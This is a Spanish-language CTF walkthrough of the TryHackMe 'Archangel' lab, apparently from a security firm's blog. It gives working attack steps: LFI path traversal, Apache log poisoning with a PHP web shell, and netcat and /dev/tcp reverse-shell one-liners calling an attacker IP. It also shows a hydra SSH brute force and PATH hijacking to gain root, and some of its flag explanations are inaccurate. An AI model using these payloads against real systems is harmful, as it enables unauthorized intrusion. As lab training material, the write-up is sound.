A continuación se presenta un manual paso a paso para realizar la máquina Archangel TryHackMe (https://tryhackme.com/room/archangel) el Hacking Ético en el desafío CTF. El manual incluye explicaciones sobre los comandos utilizados y sus respectivas banderas.

Nota: Este manual tiene fines educativos y solo debe ser utilizado en entornos controlados y con autorización.

Antes de empezar, recomendamos realizar los siguientes pasos preparativos:

  1. Añade la IP de la máquina al archivo host
  2. Crea un directorio con el nombre de la máquina para tener organizados los archivos
  3. Crea un archivo para ir anotando todos los indicios que vayamos encontrando
Archangel Tryhackme Portada

Paso 1: Verificar la disponibilidad de la máquina

ping -c 1 <ip_máquina>

Este comando se utiliza para verificar la disponibilidad de la máquina objetivo mediante un ping.

Archangel Tryhackme Ping

Paso 2: Escanear puertos

nmap -A -sCVS --min-rate 5000 -v -n -Pn <ip_máquina> -oN archangel_nmap

El comando nmap se utiliza para realizar un escaneo de puertos en la máquina objetivo. Los flags utilizados tienen los siguientes significados:

  • -A: Realiza un escaneo completo, que incluye detección de servicios y sistemas operativos.
  • -sCVS: Realiza un escaneo de versiones y scripts.
  • --min-rate 5000: Establece la tasa mínima de paquetes enviados por segundo a 5000.
  • -v: Muestra una salida detallada.
  • -n: No realiza resolución DNS.
  • -Pn: Ignora el descubrimiento de hosts y trata todas las direcciones IP como accesibles.
  • -oN archangel_nmap: Guarda la salida en el archivo “archangel_nmap”.

Este escaneo revelará los puertos abiertos en la máquina, en este caso, los puertos 80 y 22.

Archangel Tryhackme Nmap

Paso 3: Explorar directorios con wfuzz

wfuzz -c --hc=404 -w /ruta_diccionario -u http://ip/FUZZ

El comando wfuzz se utiliza para buscar directorios y archivos ocultos en un servidor web. Los flags utilizados son:

  • -c: Ignora las respuestas con código de estado 404 (no encontrado).
  • --hc=404: Configura el código de estado que se debe ignorar.
  • -w /ruta_diccionario: Especifica la ruta del diccionario a utilizar.
  • -u http://ip/FUZZ: Establece la URL objetivo, donde “FUZZ” se reemplazará por las palabras del diccionario.

Este comando buscará directorios ocultos en el servidor web utilizando un diccionario de palabras.

Archangel Tryhackme Wfuzz1

Paso 4: Investigar directorio “flag” y redirecciones

burpsuite

Aquí no encontramos ninguna redirección rara, por lo que seguimos al siguiente paso, entrar en la web y encontrar el otro hostname que nos comentan. Cambia el archivo host para añadir el nuevo hostname encontrado.

Archangel Tryhackme Hostname
Archangel Tryhackme Hostname1

Paso 5: Realizar escaneo de directorios con gobuster en Archangel TryHackMe

gobuster dir -w /diccionario -x php,html,txt -t 100 -q -u <ip_máquina>

El comando gobuster se utiliza para realizar un escaneo de directorios y archivos en un servidor web. Los flags utilizados son:

  • dir: Realiza un escaneo de directorios.
  • -w /diccionario: Especifica la ruta del diccionario a utilizar.
  • -x php,html,txt: Establece las extensiones de archivo a buscar.
  • -t 100: Establece el número de hilos simultáneos.
  • -q: Muestra solo los resultados encontrados.
  • -u <ip_máquina>: Establece la URL objetivo.

Este escaneo revelará posibles directorios y archivos en la máquina objetivo, en esta ocasión vemos el archivo robots.txt, procedemos a acceder a él y vemos una página accesible, que vamos a ir a ella.

Archangel Tryhckme Gobuster

Paso 6: Investigar contenido de la nueva página

Explora el contenido del nuevo host encontrado en los pasos anteriores y busca pistas adicionales o banderas. También accede al archivo robots.txt y a la web encontrada en este archivo.

Archangel Tryhackme Flag1

Paso 7: Local File Inclusion (LFI) Archangel TryHackMe

Accede al archivo /test.php para explorar una posible vulnerabilidad de Local File Inclusion (LFI). Esto podría proporcionar una vía de intrusión al sistema.

Vamos a probar a ver a que tenemos acceso en este servidor, para ello vamos a poner después de la carpeta de development /.././.././.././../etc/passwd para ver si tenemos acceso, el poner /.././ es para engañar al servidor y que no separa que estamos realizando un LFI, en otros casos, con /../../ y así sucesivamente podemos tener acceso a los archivos.

Archangel Tryhackme Lfi1

Tras esto vemos que tenemos acceso a ese archivo, y vemos los usuarios que pueden logarse en el servidor, como primera opción, y por probar, vamos a realizar un ataque con hydra: hydra -l archangel -P /dirección/diccionario <ip_máquina> ssh con esto no conseguimos nada, por lo que vamos a ver a que archivos tenemos acceso.

Archangel Tryhackme Hydra

Vamos a ver los logs del apache, y ver si podemos hacer un ataque log poisoning para ello siguiendo la técnica anterior en vez de /etc/passwd accedemos a: /var/log/apache2/access.log, al tener acceso, vamos a proceder a realizar un ataque de log poisoning, si quieres aprender mas sobre esto, te dejo este enlace: https://ironhackers.es/tutoriales/lfi-to-rce-envenenando-ssh-y-apache-logs/

Archangel Tryhackme Logpoisoning1

Paso 9: Log Poisoning Archangel TryHackMe

Para realizar el ataque abre burpsuite y captura el tráfico una vez capturado, mándalo directamente al repeater y realiza modificaciones en el campo “User-Agent” del encabezado de la petición. Cambia la parte entre paréntesis (X11; Linux...) por el siguiente código: <?php system($_GET['cmd']); ?>. Además, agrega &cmd=id después de .log en la URL. Luego, envía la petición y verifica sí recibes una respuesta con el ID del usuario “www-data”.

Archangel Tryhackme Burpsuite1
Archangel Tryhackme Burpsuite 2

Paso 10: Acceso remoto a la máquina objetivo

Reemplaza el &cmd=id del paso anterior por un reverse shell generado en https://www.revshells.com/. Utiliza el siguiente comando:

&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip_maquina_atacante> puerto >/tmp/f

Ahora selecciona desde el = hasta la f y debes de codificar la URL, para ello dale botón derecho Convert Selection -> URL -> encode-all-characters.

Archangel Tryhackme Burpsuite 3

Ponte en escucha en tu máquina atacante el puerto especificado para obtener acceso remoto a la máquina objetivo utilizando Netcat (nc -nvlp puerto).

Dale a send y espera a tener el control de la máquina víctima.

Archangel Tryhackme Nc1

Paso 11: Búsqueda de banderas y escalada de privilegios en Archangel TryHackMe

Una vez dentro de la máquina, busca las banderas y explora las opciones disponibles para la escalada de privilegios. Considera los binarios, capacidades, permisos de sudo y crontab para encontrar posibles vulnerabilidades y obtener privilegios adicionales.

Identifica un cron que se ejecuta cada minuto con el usuario “archangel”.

Archangel Tryhackme Cron1

Intenta realizar una escalada de privilegios aprovechando este cron. Edita el archivo utilizando el editor de texto Nano y reemplaza la línea “hello world” por el siguiente comando:

sh -i >& /dev/tcp/10.9.81.252/1234 0>&1
Archangel Tryhackme Cron2

Abre otro terminal y ejecuta nc -nvlp 1234. Espera hasta que obtengas acceso a la máquina como el usuario “archangel”. A partir de aquí, explora las opciones disponibles para la escalada de privilegios con este usuario.

Archangel Tryhackme Nc2

Paso 12: Acceso a la carpeta “secret” y ejecución de comandos

Accede a la carpeta “secret” y examina los archivos presentes en ella. Si encuentras un archivo comprimido, investiga su contenido utilizando el comando string. Observa que se ejecuta comandos y busca la presencia del comando “cp”.

Archangel Tryhackme Strings
Archangel Tryhackme Cp

Paso 13: Escalada de privilegios y obtención de acceso root en Archangel TryHackMe

Crea un archivo llamado “cp” y establece los siguientes permisos en él: chmod u+s /bin/bash. Luego, otorga permisos de lectura, escritura y ejecución a todos los usuarios utilizando el comando chmod 777 cp.

Archangel Tryhackme Cp1

A continuación, agrega el comando “cp” al PATH mediante el comando export PATH=.:$PATH. Después, ejecuta el archivo de backup utilizando ./backup y, finalmente, ejecuta el comando bash -p para obtener acceso como usuario root.

¡La máquina ha sido completamente comprometida! Ahora, busca la última bandera para completar el desafío.

Recuerda que este manual está diseñado para un desafío CTF y solo debe ser utilizado con fines educativos en entornos controlados y con autorización.

Resumen Archangel TryHackMe

La máquina Archangel TryHackMe presenta los siguientes aspectos clave:

  • Escaneo de puertos: Se utiliza la herramienta Nmap para identificar los puertos abiertos en la máquina. Se descubren los puertos 80 y 22 abiertos, lo que indica la presencia de servicios web y SSH.
  • Búsqueda de directorios ocultos: Se emplea la herramienta wfuzz para encontrar directorios y archivos ocultos en el sitio web. Mediante el análisis de las respuestas obtenidas, se descubre un directorio llamado “flag”.
  • Análisis de redirecciones: A través de Burp Suite, se analiza la redirección encontrada en el directorio “flag”. Sin embargo, la redirección lleva a un video de YouTube y no proporciona información adicional relevante.
  • Exploración de directorios con gobuster: Se utiliza la herramienta gobuster para buscar directorios ocultos en el dominio encontrado en el host. Se espera a que gobuster finalice su exploración mientras se busca la primera bandera en la nueva página.
  • Explotación de una vulnerabilidad LFI: Se descubre un archivo accesible llamado “test.php”, el cual resulta ser una vulnerabilidad de inclusión de archivos locales (LFI). Se aprovecha esta vulnerabilidad para realizar un ataque de log poisoning y obtener información privilegiada, como el ID del usuario “www-data”.
  • Reverse Shell: Mediante la técnica de log poisoning, se logra establecer un reverse shell en la máquina objetivo. Esto proporciona acceso remoto a la máquina a través de una conexión inversa desde la máquina del atacante.
  • Escalada de privilegios: Se exploran diferentes opciones para la escalada de privilegios. Se encuentra un cron ejecutándose con el usuario “archangel” y se realiza una segunda escalada de privilegios modificando el archivo correspondiente. Esto permite obtener acceso al usuario “archangel” y se buscan otras opciones de escalada de privilegios.
  • Búsqueda de banderas: Durante el proceso de hacking, se busca y recopila información sobre las banderas ocultas en la máquina. Se debe encontrar la última bandera después de comprometer la máquina y obtener privilegios de root.

Estas son las principales técnicas y pasos utilizados durante el CTF para lograr comprometer la máquina objetivo y obtener acceso a la información privilegiada.

Confía en DCSeguridad:

Si estás interesado en fortalecer aún más tus conocimientos y mantenerte al día con las últimas tendencias en seguridad informática, te recomendamos ponerte en contacto con DCSeguridad. Como empresa especializada en seguridad, DCSeguridad puede ofrecerte servicios de consultoría, auditoría y entrenamiento en seguridad informática.

Además, te animamos a unirte a nuestro canal de Telegram. En este canal, compartimos información relevante sobre nuevas vulnerabilidades, técnicas de ataque y mejores prácticas de seguridad. Es un lugar ideal para mantenerse actualizado y participar en discusiones con otros profesionales de seguridad. ¡Únete a nosotros y forma parte de nuestra comunidad dedicada a la seguridad informática!

Recuerda que la seguridad informática es un campo en constante evolución, por lo que es importante seguir aprendiendo y mejorando tus habilidades continuamente. ¡Buena suerte en tu viaje hacia convertirte en un experto en seguridad informática!